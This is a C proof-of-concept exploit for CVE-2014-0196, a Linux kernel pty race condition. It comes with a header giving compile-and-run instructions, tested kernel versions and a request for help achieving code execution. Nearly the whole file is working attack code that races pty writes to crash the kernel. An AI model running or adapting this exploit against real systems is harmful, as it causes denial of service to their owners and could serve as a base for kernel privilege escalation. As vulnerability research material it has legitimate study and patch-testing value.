/* CVE-2014-0196 DOS PoC [Written May 5th, 2014] * by DigitalCold * * Note: this crashes my i686 Gentoo system running 3.12.14 * and an old Backtrack 5r3 running 3.2.6. Any advice on how to gain * code exec would be greatly appreciated. * * Usage: gcc -O2 -o pty pty.c -lutil && ./pty * * CVE: http://people.canonical.com/~ubuntu-security/cve/2014/CVE-2014-0196.html * Bug discussion: http://bugzillafiles.novell.org/attachment.cgi?id=588355 * How-to-pty: http://rachid.koucha.free.fr/tech_corner/pty_pdip.html */ #include #include #include #include #include #include #include #include #include // used to sync the two writer processes volatile static int * Sync = NULL; int main() { int master, res; struct termios tp; Sync = mmap(NULL, sizeof *Sync, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0); if(Sync == MAP_FAILED) { perror("Sync mmap"); exit(1); } // hold *Sync = 0; // create a child with a new PTY connection pid_t child = forkpty(&master, NULL, NULL, NULL); if(child == -1) { perror("forkpty"); exit(1); } // parent else if(child > 0) { printf("CVE-2014-0196 DOS PoC by DigitalCold\n", getpid(), child); printf("[+] New PTY - Master PID %d, Slave PID %d\n", getpid(), child); printf("[+] Starting bombing run...\n"); int flags = fcntl(master, F_GETFL, 0); fcntl(master, F_SETFL, flags | O_NONBLOCK); // synchronizer process int doSync = fork(); if(!doSync) { // child // sync the two processes (CLK) while(1) { sleep(1); *Sync = 1; // release sleep(1); *Sync = 0; } } else if(doSync < 0) { perror("sync fork"); exit(1); } // used for printing status int cnt = 0; char readBuf[256<<3]; while(1) { while(!*Sync) usleep(1000); if(write(master, readBuf, sizeof readBuf) < 0) { if(errno != EAGAIN) { perror("master write"); exit(1); } } // shovel the input if(read(master, readBuf, sizeof readBuf) < 0) { if(errno != EAGAIN) { perror("master read"); exit(1); } } if(cnt >= 200000) { fprintf(stderr, "\n[-] No crash? Maybe you're not vulnerable...\n"); exit(1); } else if(cnt++ % 200 == 0) fprintf(stderr, "."); } } else { // child char discard[1024]; if(tcgetattr(0, &tp) == -1) perror("tcgetattr"); // enable raw mode with ECHO to trigger the bug cfmakeraw(&tp); tp.c_lflag |= ECHO; if(tcsetattr(0, TCSAFLUSH, &tp) == -1) perror("tcsetattr"); // make stdin and stdout non-blocking int flags = fcntl(0, F_GETFL, 0); fcntl(0, F_SETFL, flags | O_NONBLOCK); flags = fcntl(1, F_GETFL, 0); fcntl(1, F_SETFL, flags | O_NONBLOCK); // construct a lengthy crash string size_t badStrSz = 256<<2; char * badStr = malloc(badStrSz); int i; for(i = 0; i < badStrSz; i++) badStr[i] = 'A'; // slave loop while(1) { while(!*Sync) usleep(1000); if(write(1, badStr, badStrSz) < 0) if(errno != EAGAIN) exit(1); // eat the incoming data if(read(0, discard, sizeof discard) < 0) if(errno != EAGAIN) exit(1); } } return 0; }